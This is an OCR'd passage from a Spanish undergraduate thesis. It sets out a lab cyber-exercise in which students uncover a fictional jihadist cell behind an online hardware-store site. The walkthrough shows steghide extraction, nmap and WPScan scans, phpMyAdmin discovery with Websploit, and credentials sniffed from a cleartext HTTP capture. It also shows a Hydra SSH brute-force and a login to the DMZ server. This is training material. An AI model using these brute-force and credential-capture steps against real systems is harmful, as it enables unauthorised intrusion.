este usuario, podemos confirmar que visita diariamente la web www.tfg.dunquerque.cud.uvigo.es. Al
parecer, no es mas que una ferreteria online. ¢(Podrias investigar esta pagina y confirmar alguna
actividad maliciosa?

Pista: Investigar imégenes.
4.2.2 Solucion

Después de que el alumno investigue los diferentes enlaces, busque comentarios sospechosos,
investigue las diferentes entradas de la pagina web, estudie el cédigo HTML, etc., debera llevar a cabo
el estudio de las imagenes.

4.2.2.1 Estudio de imagenes

Para estudiar en profundidad una imagen, como muestra la Figura 4-1, lo primero que debemos
hacer es descargarla a nuestro equipo personal.
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Aplicaciones + Lugares v @ Firefox ESR v

FERRETERiA ONLINE - Mozilla Firefox e eeo
FERRETERIA ONLINE x | Q) Steghide: cmoocult.. x | + Open Link in New Tab
v.tfg.dunquerque cud.uvigo.es Open Link in New Window Search wa ¥ A9 =

Open Link in New Private Window
FMost Visited~ JllOffensive Security S Kali Linux S Kali Docs ' Kali Tools ‘. Exploit- i = IHunter @ Getting Started

Bookmark This Link
Save Link As

Save Link to Pocket
Copy Link Location

View Image ’

Copy Image

Copy Image Location
Esta es la (inica ferreteria d cllietb e
1deF Emall Image...

Set As Desktop Background..

View Image Info

Publicado en General | Editar | No hay comentarios »
H i; 1
.GaFrantlzado descuento! Buscar
Meta
-y [ = Administracin

Figura 4-1 Descargar imagen sospechosa

Una vez podamos trabajar sobre ella, deberemos descargar alguna herramienta que permita la
extraccion de informacién mediante esteganografia. En este caso, trabajaremos con la misma
herramienta que utilizamos en el apartado 3.5.5.1, steghide.

$ sudo apt-get install steghide

A continuacidén nos dirigimos al directorio donde se encuentra nuestra imagen descargada, en este
caso, el escritorio. En dicha ubicacion abrimos una terminal y ejecutamos steghide con los comandos
indicados para la extraccién de informacion de la imagen. En la Figura 4-2 podemos ver el resultado.

$ sudo steghide extract —sf ferreteria.jpg
rootsudo@Kkalicud: ~/Escritorio - O

Archivo Editar Ver Buscar Terminal Ayuda

:~/Escritorio$ steghide extract -sf ferreteria.jpg
Anotar salvoconducto:
hnot® los datos extra®dos e/"arabe.txt".

:~/Escritorio$ D

Figura 4-2 Extraccion de informacion

Steghide nos pedira una contrasefia para desencriptar la informacién de la fotografia. En este caso
decidimos no establecer ninguna, por lo que con dejar el espacio en blanco y pulsar enter es suficiente.
En la Figura 4-3 podemos ver la fotografia y el fichero de texto Ilamado arabe.txt.
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ferreteria.
IPg

Figura 4-3 Imagen y fichero de texto extraido

En la Figura 4-4 podemos ver el contenido del archivo de texto.

: arabe.txt
o [[z] 0@ @

pszngl] bhs o] zlizl
Jlas | ole L

Figura 4-4 Texto oculto

Para finalizar este apartado y confirmar actividad maliciosa, veamos en la Figura 4-5 lo que
significa el mensaje en arabe.

Aplicaciones v Lugares ¥ @ Firefox ESR v
Traductor de Google - Mozilla Firefox [- O <)
FERRETERIA ONLINE x | By Traductor de Google :\+
w:(- ) @ @ | https://translate.google.com/? hi=es#ar/es/0%psagll lalas ] glizlAJLasl le LI | & ‘ ‘CPSEar(h | T B & A =

[ Most Visitedv [l Offensive Security S Kali Linux ' Kali Docs % Kali Tools ‘. Exploit-DB Wy Aircrack-ng gKali Forums S NetHunter @ Getting Started

Google # 0@

Traductor de Google

Desactivar traduccion instantanea | Q)

espafiol inglés drabe Detectaridioma ~ "., arabe inglés espafiol ~ Traducir

x

pongll lalas L] cu,i Necesito planes de ataque
|JLas! ale ;7| Estoy en contacto

wie- agsoo0 | 37 1D ) < # Sugerirun cambio

‘ahta) ‘ilaa khutat alhujum
‘ana ealaa aitisal

Figura 4-5 Traduccion del mensaje oculto

Con esto, el alumno acaba de confirmar el caracter malicioso de la ferreteria online.

4.3 Acceso a la web yihadista
4.3.1 Enunciado

Muchas gracias por la informacion aportada. La confirmacion de posibles actividades terroristas ha
dado lugar a la autorizacion de un equipo del CNI a investigar en profundidad a nuestro sospechoso.
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Por lo que parece, han conseguido capturar una traza de trafico de su equipo personal. ¢Podrias obtener
algln resultado analizando la traza?

Pista: Credenciales de autenticacion, usuarios, imagenes. ..

4.3.2 Solucion

Después de que el alumno reciba dicha traza de tréfico, debera saber interpretarla analizando las
diferentes peticiones del sospechoso y las diferentes respuestas del servidor, averiguando asi en qué
peticion podria haber informacion importante. Una vez obtenga el usuario y contrasefia de nuestro
sospechoso, el alumno debera autentificarse en la web y recopilar informacion: nombres de usuario,
correos electrénicos y otros detalles que puedan ser de ayuda.

4.3.2.1 Scan del servidor

Lo primero que deberemos hacer es un scan con Zenmap de la pagina web yihadista para ver qué
servicios tiene habilitados el servidor. En la Figura 4-6 podemos ver los resultados.

Aplicaciones « Lugares v & Zenmap v mar 18:50 @

Zenmap e 0 O
Escaneo Herramientas Perfil Ayuda (H)
Objetivo: [192.168.3.50 v | Perfil: |Intense scan v | |Escaneo| |Cancelar|

Comando: |nmap -T4 -A -v 192.168.3.50

Servidores|| Servicios | | Salida Nmap | Puertos / Servidores  Topologia  Detalles del servidor | Escaneos

0S5  Servidor = nmap -T4 -A -v 192.168.3.50

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-27 18:50 CET
NSE: Loaded 146 scripts for scanning.

NSE: Script Pre-scanning

Initiating NSE at 18:50

Completed NSE at 18:50, 0.080s elapsed

Initiating NSE at 18:50

Completed NSE at 18:50, 0.80s elapsed

Initiating ARP Ping Scan at 18:50

Scanning 192.168.3.50 [1 port

Completed ARP Ping Scan at 18:508, 0.86s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:50
Completed Parallel DNS resolution of 1 host. at 18:50, 13.00s elapsed
Initiating SYN Stealth Scan at 18:50

Scanning 192.168.3.50 [1000 ports]

Discovered open port 143/tcp on 192.168.3.50

Discovered open port 22/tcp on 192.168.3.50

Discovered open port 80/tcp on 192.168.3.50

Discovered open port 110/tcp on 192.168.3.50

Discovered open port 21/tcp on 192.168.3.50

Discovered open port 25/tcp on 192.168.3.50

Completed SYN Stealth Scan at 18:50, 4.56s elapsed (1000 total ports)
Initiating Service scan at 18:50

Filtrar servidores

Figura 4-6 Scan del servidor yihadista
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Zenmap nos indica qué puertos son los que mantiene abiertos el firewall para el paso de
informacion. Sin embargo, como muestra la Figura 4-7, no nos muestra la arquitectura de red.

Aplicaciones ~ Lugares ~ & Zenmap v mar 18:58

Zenmap [ ]
Escanec Herramientas Perfil Ayuda (H)
Objetivo: |192.168.3.50 v | Perfil: |Intense scan v | |Escaneo

Comando: | nmap -T4 -A -v 192.168.3.50

Servidores| Servicios|  Salida Nmap Puertos / Servidores | Topologla | Detalles del servidor | Escaneos

0S  Servidor v Visualizador de servidores || El efecto ojo de pez“ Contmles‘ Legend | Guardar grafico

4. 192.168.3.50 ¥ Accién

Blao + m

P> Interpolacion

P> Plano

¥V Vista

address
05192.168,3.50 ® . hostname

@ iocalhost & icon

Navegacion  225.0

Zoom 168
| Huecoaro E
Reducir hueco aro

Fisheve sohre el arn | 100 et conun fartor de interés 1200 %] woun factor de difusian [0 R0 1%

Figura 4-7 Arquitectura de red desde la WAN

En la Figura 4-8 podemos ver con detalle qué servicios son los que corren a través de cada puerto.
Hay que destacar para futuros ciberejercicios sobre dicha maqueta, que el puerto 443, el cual se utiliza
para HTTPS, se encuentra deshabilitado. Esto quiere decir que la informacion a nuestro servidor y la
que vuelve no va cifrada, por lo que cualquier captura de trafico o cualquier ataque basado en MITM
podrian resultar muy eficaces a la hora de realizar alguna operacion de ‘esnifado’.

Aplicaciones v Lugares v @ Zenmap v mar 18:58 @

Zenmap o0
Escaneo Herramientas Perfil Ayuda (H)
Objetivo: |192.168.3.50 v Perfil: |Intense scan v | |Escaneo

Comando: ' nmap -T4 -A -v 192.168.3.50

Servidores|| Servicios|  Salida Nmap Puertos / Servidores  Topologia Detalles del servidor Escaneos

s Motnidor Ty Puerto  Protocolo  Estado  Servicio  Version v
[~ i tcp open smitp

0 443 tcp closed https

O 80 tcp open http Apache httpd 2.4.7 ((Ubuntu))

9 143 tcp open imap hMailServer imapd

O 110 tcp open pop3 hMailServer pop3d

Q22 tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu?2.10 (Ubuntu Linuy; protocol 2.0)

92 tcp open ftp vsftpd 2.0.8 or later

Figura 4-8 Servicios de la red
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Otra herramienta muy util contra paginas web construidas sobre Wordpress es Wpscan. Esta

herramienta nos

va a permitir escanear las vulnerabilidades a las que esta expuesta la version 2.5.1

instalada de Wordpress. Lo primero que haremos sera abrir la herramienta y observar las diferentes
opciones de las que dispone.

$ sudo wpscan —help

Aplicaciones v Lugares v (&) Terminal ~

rootsudo@Kalicud: ~ 60

Archivo Editar Ver Buscar Terminal Ayuda

:~$ sudo wpscan --help

[sudo] password for rootsudo:

A\ 1T
NN N A1)

NN/ NC [
NN AT

\VAR VRN

WordPress Security Scanner by the WPScan Team

Version 2.9.3
Sponsored by Sucuri - https://sucuri.net

@ Wpscan_, @ethicalhack3r, @erwan_lr, pvdl, @ FireFart

Help :

Some values are settable in a config file, see the example.conf.json

--update
--url
--force

Update the database to the latest version.
| -u <target url> The WordPress URL/domain to scan.
| -f Forces WPScan to not check if the remote site is running WordPress.

--enumerate | -e [option(s)] Enumeration.
option :

u
u[le-

p
vp
ap
tt

usernames from id 1 to 10
20] usernames from id 10 to 20 (you must write [] chars)
plugins
only vulnerable plugins
all plugins (can take a long time)
timthumbs
themes
only vulnerable themes
all themes (can take a long time)

Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins
If no option is supplied, the default is "vt,tt,u,vp”

En la Figura

Figura 4-9 Opciones de Wpscan

4-9 vemos que tiene una opcion para escanear los usuarios, sin embargo, en la Figura

4-10 podemos ver como no es eficaz contra la pagina web.

$ sudo wpscan —url http://www.tfg.dunquerque.cud.uvigo.es —enumerate u

Enumerating plugins from passive detection
No plugins found

Enumerating usernames
We did not enumerate any usernames

Finished: Sat Mar 3 16:36:37 2018

Requests Done: 64

Memory used: 32.223 MB

Elapsed time: 00:00:03
~$ D

Figura 4-10 Deteccion de usuarios

Sin embargo, si podemos listar las vulnerabilidades de la version 2.5.1 de Wordpress que hay hasta
el momento. Esto es informacién muy interesante que puede ser Util a la hora de atacar una pagina
web. En la Figura 4-11 se muestran algunas de las vulnerabilidades listadas.

$ sudo wpscan —url http://www.tfg.dunquerque.cud.uvigo.es
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rootsudo@kalicud: ~ e 06 °

Archivo Editar Ver Buscar Terminal Ayuda

Nk Vol N
s R VY ] i [ 0 T
NS N | NN |

LY A A || S B (o (9

AVARR VAR I | / | =

WordPress Security Scanner by the WPScan Team
Version 2.9.3
Sponsored by Sucuri - https://sucuri.net

@ WPScan_, @ethicalhack3r, @erwan lr, pvdl, @ FireFart_

It seems like you have not updated the database for some time.
?] Do you want to update now? [Y]es [N]o [Albort, default: [NIn
The remote host tried to redirect to: http://192.168.16.10/
?] Do you want follow the redirection ? [Y]es [N]o [A]bort, default: [N]n
URL: http://www.tfg.dunquerque.cud.uvigo.es/
Started: Wed Feb 28 20:01:22 2018

'] The WordPress 'http://www.tfg.dunquerque.cud.uvigo.es/readme.html' file exists exposing a version number
Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
Interesting header: X-POWERED-BY: PHP/5.5.9-1lubuntu4.23
XML-RPC Interface available under: http://www.tfg.dunquerque.cud.uvigo.es/xmlrpc.php

'] Includes directory has directory listing enabled: http://www.tfg.dunquerque.cud.uvigo.es/wp-includes/

WordPress version 2.5.1 (Released on 2008-04-25) identified from advanced fingerprinting, links opml
22 vulnerabilities identified from the version number

Title: WordPress 2.0 - 2.7.1 admin.php Module Configuration Security Bypass
Reference: https://wpvulndb.com/vulnerabilities/6019
Reference: http://www.securityfocus.com/bid/35584/

Title: WordPress 2.5 - 3.3.1 XSS in swfupload

Reference: https://wpvulndb.com/vulnerabilities/5999
Reference: http://seclists.org/fulldisclosure/2612/Nov/51
Fixed in: 3.3.2

Figura 4-11 Analisis de Wordpress

Whpscan nos ha dado la opcion de redirigirnos a la IP privada 192.168.16.10 (IP del servidor
Wordpress). En este caso hemos elegido la opcion N (No) ya que el scan debemos realizarlo desde la
IP (192.168.3.50) donde se encuentra nuestra interfaz de red.

A continuacion, haremos uso también de la herramienta Websploit. Es l6gico pensar que, si hay
una pagina web, también hay una base de datos; si hay una base de datos, es probable que para
gestionarla se utilice alguna herramienta escrita en PHP. Para iniciar esta herramienta, debemos hacer
lo siguiente:

$ sudo websploit
Wsf> show modules

En la Figura 4-12, debemos seleccionar uno de los mddulos para identificar si nuestro servidor es
gestionado mediante phpmyadmin. En este caso, utilizaremos web/pma.

Wsf> use web/pma
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jweb/apache users
web/dir scanner
web/wmap

lweb/pma
web/cloudflare_resolver

network/arp_dos
network/mfod
network/mitm
network/mlitm
network/webkiller
network/fakeupdate
network/arp_poisoner

exploit/autopwn
exploit/browser_autopwn
exploit/java_applet

wifi/wifi jammer
wifi/wifi dos
wifi/wifi _honeypot
wifi/mass_deauth
bluetooth/bluetooth pod

rootsudo@kalicud: ~

Scan Directory Of Apache Users

Directory Scanner

Information Gathering From Victim Web Using (Metasploit Wmap)
PHPMyAdmin Login Page Scanner

CloudFlare Resolver

ARP Cache Denial Of Service Attack
Middle Finger Of Doom Attack

Man In The Middle Attack

Man Left In The Middle Attack

TCP Kill Attack

Fake Update Attack Using DNS Spoof
Arp Poisoner

Metasploit Autopwn Service
Metasploit Browser Autopwn Service
Java Applet Attack (Using HTML)

wifi Jammer

Wifi Dos Attack

Wireless Honeypot(Fake AP)
Mass Deauthentication Attack
Bluetooth Ping Of Death Attack

sf > use web/pma |

Figura 4-12 Mdédulos de Websploit

A continuacion, como puede verse en la Figura 4-13, seleccionamos nuestro objetivo (target).
Wsf: PMA> show options
Wsf: PMA> set TARGET http://www.tfg.dunquerque.cud.uvigo.es

> use web/pma
A > show options

http://google.com

wsf:PMA > set TARGET http://www.tfg.dunquerque.cud.uvigo.es

TARGET => http://www.tfg.dunquerque.cud.uvigo.es

WS ~ 1A >

Figura 4-13 Seleccion del objetivo

Para finalizar, como se ve en la Figura 4-14, con la herramienta Websploit, solo debemos lanzar el
exploit seleccionado y esperar resultados.

Wsf: PMA> run
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Aplicaciones v Lugares ~ Terminal ~ mié 19:53

rootsudo@kalicud: ~ (IO <]

Archivo Editar Ver Buscar Terminal Ayuda

set TARGET http://www.tfg.dunquerque.cud.uvigo.es
http://www.tfg.dunquerque.cud.uvigo.es

.. [200 OK]
.. [404 Not Found]
[/admin/] ... [404 Not Found]
[/dbadmin/] ... [404 Not Found]
[/mysql/] [404 Not Found]
[/myadmin/] . [404 Not Found]
[/phpmyadmin2 ... [404 Not Found]
[/phpMyAdm . [404 Not Found]
[/phpMyAdmin- [404 Not Found]
[/php-my-admi 404 Not Found]
[/phpMyAdmin- ... [404 Not Found]
.. [404 Not Found]
.. [404 Not Found]
.. [404 Not Found]
.. [404 Not Found]
... [404 Not Found]
1 ... [404 Not Found]
[/phpMyAdmin- ... [404 Not Found]
[/phpMyAdmin-2. ... [404 Not Found]
[/phpMyAdmin-2.5. 2 ... [404 Not Found]
[/phpMyAdmin-2.5. ... [404 Not Found]
[/phpMyAdmin-2.5. ... [404 Not Found]
[/phpMyAdmin- .7- /] ... [404 Not Found]
[/phpMyAdmin- .0-a ... [404 Not Found]
[/phpMyAdmin- -alpha2/] ... [464 Not Found]

[/phpMyAdmin- -betal/] ... [404 Not Found]
[/phpMyAdmin- -beta2/] ... [404 Not Found]
[/phpMyAdmin- -rcl/] ... [404 Not Found]
[/phpMyAdmin-2.6.0-rc2/] ... [404 Not Found]
[/phpMyAdmin-2.6.0-rc3/] ... [404 Not Found]
[/phpMyAdmin-2.6.0/] ... [404 Not Found]

Figura 4-14 Exploit contra phpmyadmin

No solo confirmamos la presencia de phpmyadmin, sino que ademas tenemos localizada la ruta
para acceder al portal: /phpmyadmin/.

Con toda la informacion recopilada permitimos un abanico de posibilidades por las cuales el
alumno puede obtener datos que le permitan acceder al servidor de la DMZ a través del puerto 22. Sin
embargo, como hemos dejado ver, la razon por la que instalamos una version mas antigua de
Wordpress es facilitar al alumno la explotacion de vulnerabilidades en vista a desarrollar otro tipo de
ciberejercicios en posteriores trabajos. En este ciberejercicio, puesto que el nivel elegido ha sido
medio/bajo, le facilitaremos al alumno el fichero .pcapng que creamos en el apartado 3.5.7 y asi
fomentar la familiarizacion con el estudio de trazas de tréfico.

4.3.2.2 Estudio del trafico de red

Una vez abrimos la traza que nos han dado, debemos buscar los paquetes que pueden interesarnos:
en este caso, los paquetes de un flujo HTTP. Para ello filtramos este tipo de paquetes en la barra
superior de busqueda como muestra la Figura 4-15.

© @[ RE Q<K >F k4 5 ¢ ik
http ~ | Expression..
No. Time Source Destination Protocol Length Info

2706 14.226698467 192.168.1.247 172.217.18.46 0CsSP 524 Request

2713 14.382156966 172.217.18.46 192.168.1.247 0CSP 772 Response

3258 15.227501961 192.168.1.247 172.217.18.46 0CSP 522 Request

3272 15.375957212 172.217.18.46 192.168.1.247 0CsSP 772 Response

5162 23.298134223 192.168.3.50 192.168.1.247 HTTP 1489 HTTP/1.1 200 0K (text/html)

5399 23.923935095 192.168.1.247 172.217.18.46 0CSP 522 Request

5409 24.076868160 172.217.18.46 192.168.1.247 0CsSP 772 Response
23685 122.509446916 192.168.1.247 192.168.3.50 HTTP 667 POST /wp-login.php HTTP/1.1 (application/x-www-form-urlen..
23687 122.541130696 192.168.3.50 192.166.1.247 HTTP 662 HTTP/1.1 302 Found

Figura 4-15 Paquetes HTTP filtrados

Una vez filtramos los paquetes, comenzamos a buscar los paquetes capturados entre nuestra
victima y la pagina de Wordpress, en este caso los paquetes correspondientes a la IP 192.168.3.50.

Como veremos a continuacion en la Figura 4-16, podemos distinguir conexiones que podrian ser
de gran interés:
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e 192.168.1.247 > 192.168.3.50: HTTP: 516 GET /wp-login.php HTTP/1.1 (la victima hace
una peticion de login a la pagina de Wordpress).

e 192.168.3.50 > 192.168.1.247: HTTP: 1489 HTTP/1.1 200 OK (el servidor recibe la
peticion y envia la pagina a la victima).

e 192.168.1.247 > 192.168.3.50: HTTP: 667 POST /wp-login.php HTTP/1.1 (la victima
introduce sus datos de acceso y los envia al servidor).

AE i@ @HTRE Q¢ *»Iea4= 5 60 aE
http [X] ~| Expression..
No. Time Source Destination Protocol ' Length Info
2706 14.226698467 192.168.1.247 172.217.18.46 0CsSP 524 Request
2713 14.382156966 172.217.18.46 192.168.1.247 ocsp 772 Response
3258 15.227501961 192.168.1.247 172.217.18.46 0CsP 522 Request
3272 15.375957212 172.217.18.46 192.168.1.247 0CsP 772 Response
|514? 23.274510850 192.168.1.247 192.168.3.50 HTTP 516 GET /wp-login.php HTTP/1.1|
[5162 23.298134223 182.168.3.50 192.168.1.247 HTTP 1489 HTTP/1.1 200 OK (text/html}]
5399 23.923935095 192.168.1.247 172.217.18.46 0CsP 522 Request
5409 24.076868160 172.217.18.46 192.168.1.247 0CsP 772 Response
[23685 122.589446916 192.168.1.247 192.168.3.50 HTTP 667 POST /wp-login.php HITP/1.1 (application/x-www-form-urle..]
+ 23687 122.541130696 192.168.3.50 192.168.1.247 HTTP 662 HTTP/1.1 302 Found

» Frame 23685: 667 bytes on wire (5336 bits), 667 bytes captured (5336 bits) on interface ©

» Ethernet II, Src: CompalIn_68:55:64 (f@:76:1c:68:55:64), Dst: PcsCompu_7d:34:b2 (88:00:27:7d:34:b2)
» Internet Protocel Version 4, Src: 192.168.1.247, Dst: 192.168.3.50

» Transmission Control Protocol, Src Port: 41578, Dst Port: 8@, Seq: 1, Ack: 1, Len: 601

= Hypertext Transfer Protocol

F HTML Form URL Encoded: application/x-www-form-urlencoded]

» Form item: "log" = ".
» Form item: "pwd" = "

» Form item: "wp-submit” = "Iniciar sesién"
» Form item: "redirect_to" = "wp-admin/"
» Form item: "testcookie" = "1"

Figura 4-16 Usuario y contrasefia en wireshark

Dentro de este Gltimo paquete, en la seccion HTML Form URL Encoded, podemos distinguir en
claro las credenciales de la victima accediendo a la zona privada de Wordpress.

4.3.2.3 Scan de laweb

Una vez obtenemos las credenciales del usuario de la web de la ferreteria online, accedemos a

través

de la opcidn ‘iniciar sesion’ de la web a un portal de autenticacion como el que muestra la

Figura 4-17.

Aplicaciones + Lugares v © Firefox ESR +

FERRETERiA ONLINE » Iniciar sesion - Mozilla Firefox oo
/ FERRETERIA ONLINE » Ini.. x | +

€) © & | v

v.1fg.dunquerque.cud.uvigo.es/wp-login.php c Search wBe ¥+ Af =
[ Most Visitedw [l Offensive Security S Kali Linux S Kali Docs “&, Kali Tools ‘®. Exploit-DB Wy Aircrack-ng giKali Forums “ NetHunter @ Getting Started

« Volver a FERRETERIA ONLINE

@WORDPRESS

Nombre de usuario

Contraseia

Recordarme Iniciar sesién

Figura 4-17 Acceso de usuario a la web

Dentro de todo lo que se puede observar en la zona privada de la web, podemos confirmar que se
trata de un grupo activo yihadista. EI alumno deberéa recopilar informacién de los usuarios y detectar la
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anomalia que presenta el usuario llamado Qutaybah. Este usuario es un usuario administrador que,
como muestra la Figura 4-18, utiliza su nombre como usuario en el correo electronico, en el usuario de
la web, etc.

Todos los usuarios | Administrador (2} | Editor (1) | Autor (2) | Colaborader (1) | Suscriptor (1)
Borrar Asignar la funcidén de... j Cambiar
. Nombre de usuario Nombre Correo electronico Entradas
Alvaro Alvaro Armijo Fuentes yihadismo2018@gmail.com Suscriptor v]
lgnacio lgnacio Sanchez Romero yihadismo2018@gmail.com Colaborador v]
Jesus Jesis Castro Marcos yihadismo2018@gmail.com Editor v]
Juan Juan Garcia Rossi yihadismo2018@gmail.com Administrador 2
Juansito Juan Carlos Crespo Gomez yihadismo2018@gmail.com Autor v]
Marcos Marcos Lopez Gerente yihadismo2018@gmail.com Autor v]
Qutaybah Qutaybah Mohammed Qutaybah@gmail.com Administrador 2

Figura 4-18 Usuarios de la web

Por altimo, dentro de la seccion de entradas privadas a las que tenemos acceso tras haber accedido
a la web como usuario, debemos observar una entrada caracteristica y es, como se ve en la Figura
4-19, una entrada en la que se menciona al ‘jefe’ de una operacion.

Aplicaciones v Lugares v © Firefox ESR + dom 13:38 @

FERRETERIA ONLINE - Mozilla Firefox e 6o

FERRETERIA ONLINE %\ +
€ ) ® | www.tfg.dunquerque.cud.uvigo.es e ||Q Search wBe & A 9 =

[ Most Visitedv  Jl|Offensive Security S Kali Linux “§ Kali Docs "\ Kali Tools ‘®.Exploit-DB W Aircrack-ng gdKali Forums “ NetHunter & Getting Started

Publicado en General | Editar | No hay comentarios »

Privado: El jefe preparando el ataque

Figura 4-19 Entradas privadas

En la fotografia de dicha entrada se puede apreciar un pequefio post-it en el cual se dejan ver la
contrasefia y el usuario del llamado jefe. Si ampliamos la imagen de la Figura 4-20, podemos obtener
informacion muy importante que entregarle al CNI.
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Figura 4-20 Jefe de la operacién

4.4 Acceso al servidor
4.4.1 Enunciado

Parece ser que las sospechas se confirman y se trata de una célula yihadista que se encuentra
activa. La informacion que nos has ofrecido es muy valiosa, sin embargo parece que hemos levantado
sospechas en el grupo terrorista y nos hemos visto obligados a detener nuestras acciones. ¢Podrias usar
esta informacion para tener acceso a la red privada?

Pista: Accede y toma el control del servidor de la DMZ.
4.4.2 Solucion

Una vez el alumno haya identificado y recopilado los nombres de usuarios, debera identificar
como usuarios importantes los usuarios administradores: Juan y Qutaybah. Sin embargo, el usuario
Qutaybah, a diferencia del resto de usuarios, como hemos dicho anteriormente, tiende a usar su
nombre para diferentes cuentas, correos, etc.

4.4.2.1 Ataque a servidor

Una de las herramientas de Kali Linux que vamos a utilizar a continuacién es Hydra, ya
mencionada en el apartado 3.3.2. Hasta ahora tenemos nombres de usuario y el servicio SSH corriendo
en el puerto 22. Solo faltaria obtener la contrasefia, y la obtendremos mediante un ataque de fuerza
bruta.

Lo primero que debemos hacer es iniciar la herramienta Hydra y, como muestra la Figura 4-21,
introducir los parametros del objetivo.
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xHydra Q ® 9
Salir
Target | Passwords = Tuning | Specific = Start
Target
@ Single Target [192.168.3.50
O Target List
[] Prefer IPV6
Port 22 |2
Protocol |ssh \/
Output Options
[J Use SSL [[J Use old SSL [J Be Verbose
[[] Show Attempts [[] Debug
[J COMPLETE HELP ["J Service Module Usage Details

hydra -s 22 -1 yourname -p yourpass -t 16 192.168.3.50 ssh

Figura 4-21 Opciones del objetivo

A continuacion, en la Figura 4-22 definimos los parametros para realizar el ataque. En este caso el
usuario ya lo conocemos (de manera menos eficiente se podria crear un pequefio diccionario con el
nombre de todos los usuarios de Wordpress) y, en la seccion de password, elegiremos la opcién
Password List. En el caso de Kali Linux contamos ya con diccionarios bastante completos, aunque
también hay varios enlaces en Internet: https://www.renderlab.net/projects/WPA-tables/.

xHydra e e O
Salir
Target | Passwords | Tuning Specific = Start
Username
@ Username |Qutaybah

) Username List

["] Loop around users ["] Protocol does not require usernames
Password
) Password
@ Password List IOO—WOrst—pass'.n\fords.txtI
) Generate |1:1:a

Colon separated file

[C] Use Colon separated file

[[] Try login as password [ Try empty password [] Try reversed login

wydra -5 22 -1 Qutaybah -P /fhome/rootsudo/Escritorio/otros/500-worst-...

Figura 4-22 Pardmetros de ataque
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Por ultimo, nos vamos a la seccidn start y comenzamos el ataque pulsando ‘start’ en la esquina
inferior izquierda del panel. En la Figura 4-23 podemos ver como, en poco segundos, el resultado es
exitoso y obtenemos la clave del usuario Qutaybah.

xHydra @ ® 0
Salir
Target Passwords Tuning  Specific | Start

Output
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or se

Hydra (http://www.thc.org/thc-hydra) starting at 2018-02-27 18:55:19
[WARNING] Many SSH configurations limit the number of parallel tasks, it
[WARNING] Restorefile (you have 10 seconds to abort... (use option -l to s
[DATA] max 16 tasks per 1 server, overall 16 tasks, 501 login tries (L:1/p:50
[DATA] attacking ssh://192.168.3.50:22/

[22][ssh] host: 192.168.3.50 login: Qutaybah password:

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 4 final worker threads did not com
Hydra (http:/fwww.thc.org/thc-hydra) finished at 2018-02-27 18:55:40
<finished>

[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 16 targets did not complete

Start Stop Save Output Clear Output

nydra -s 22 -1 Qutaybah -P /home/rootsudo/Escritorio/otros/500-worst-...

Figura 4-23 Resultado de ataque por fuerza bruta

4.4.2.2 Acceso al servidor

Una vez obtenemos la contrasefia del usuario Qutaybah, basta con usar SSH para obtener acceso al
servidor de la DMZ de la red yihadista. En la Figura 4-24 podemos ver el resultado con éxito.

Aplicaciones v Lugares « Terminal v séb 12:04 @
Qutaybah@server: ~ e 6 0

Archivo Editar Ver Buscar Terminal Ayuda

:~$ sudo ssh Qutaybah@192.168.3.50
[sudo] password for rootsudo:
The authenticity of host '192.168.3.50 (192.168.3.50)' can't be established.
ECDSA key fingerprint is SHA256:80aSn17nu7jCU11BN9Svc8x3iPc521L1GNMW8ZSrTRS.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.3.50' (ECDSA) to the list of known hosts.
Qutaybah@192.168.3.50's password:

Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-112-generic x86_64)

* Documentation: https://help.ubuntu.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Sat Mar 3 11:57:31 2018 from 192.168.1.140
Qutaybah@server:~$ |:|

Figura 4-24 Acceso al servidor de la DMZ

4.5 Acceso al firewall

4.5.1 Enunciado

Nos han informado de que tienes acceso a uno de los servidores de la DMZ. jFantastico! Sin
embargo, no es suficiente. ¢Podrias acceder a la red LAN y obtener informacion critica?

Pista: ¢Por qué no pruebas a acceder al firewall de la red?
4.5.2 Solucion

Para que el alumno tenga acceso a la red LAN, primero deberd modificar las reglas del firewall de
la red y habilitar el acceso a la LAN desde la DMZ. Para acceder al firewall, debera usar el servidor
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como puente: el firewall no permite la comunicacion desde el exterior pero si desde el interior de la
red. El alumno debera configurar el servidor para que, las peticiones que se manden al puerto 80 del
servidor desde el exterior sean redirigidas al firewall y, a su vez, las contestaciones del firewall que se
devuelvan al servidor sean redirigidas hacia el exterior a la maquina del alumno. Una vez modificado
el firewall y configurado el acceso a la LAN desde la DMZ, el alumno debera utilizar nuevamente la
informacion que pudo obtener de la zona privada de la péagina de la ferreteria online para acceder a un
equipo de la LAN.

4.5.2.1 Configuracién del servidor

Antes de acceder, veamos si podemos obtener informacion desde el servidor de la DMZ. Para ello,
primero deberemos saber cual es la puerta de enlace/pasarela (gateway) del servidor, ya que sera esta
la entrada, a traves del firewall, del segmento de red en el que nos encontramos. Para ello, como
muestra la Figura 4-25, usaremos el siguiente comando:

$ sudo route —n

Aplicaciones v Lugares v [ Terminal v séb 12:04 e

Qutaybah@server: ~

Archivo Editar Ver Buscar Terminal Ayuda

:~$ sudo ssh Qutaybah@192.168.3.50
[sudo] password for rootsudo:
The authenticity of host '192.168.3.50 (192.168.3.50)' can't be established.
ECDSA key fingerprint is SHA256:80aSn17nu7jCU11BN9Svc8x3iPc521L1GNMw8ZSrTRs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.3.50' (ECDSA) to the list of known hosts.
Qutaybah@192.168.3.50's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-112-generic x86 64)

* Documentation: https://help.ubuntu.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Sat Mar 3 11:57:31 2018 from 192.168.1.140
Qutaybah@server:~$ sudo route -n
[sudo] password for Qutaybah:
Tabla de rutas IP del nicleo
i Pasarela Genmask Indic Métric Ref Uso Interfaz
192.168.16.1 0.0.0.0 uG (¢} 0 0 ethe
.16.0 0.0.0.0 255.255.255.0 U 0 0 0 ethe
Qutaybah@server:~$ |:|

Figura 4-25 Pasarela al firewall

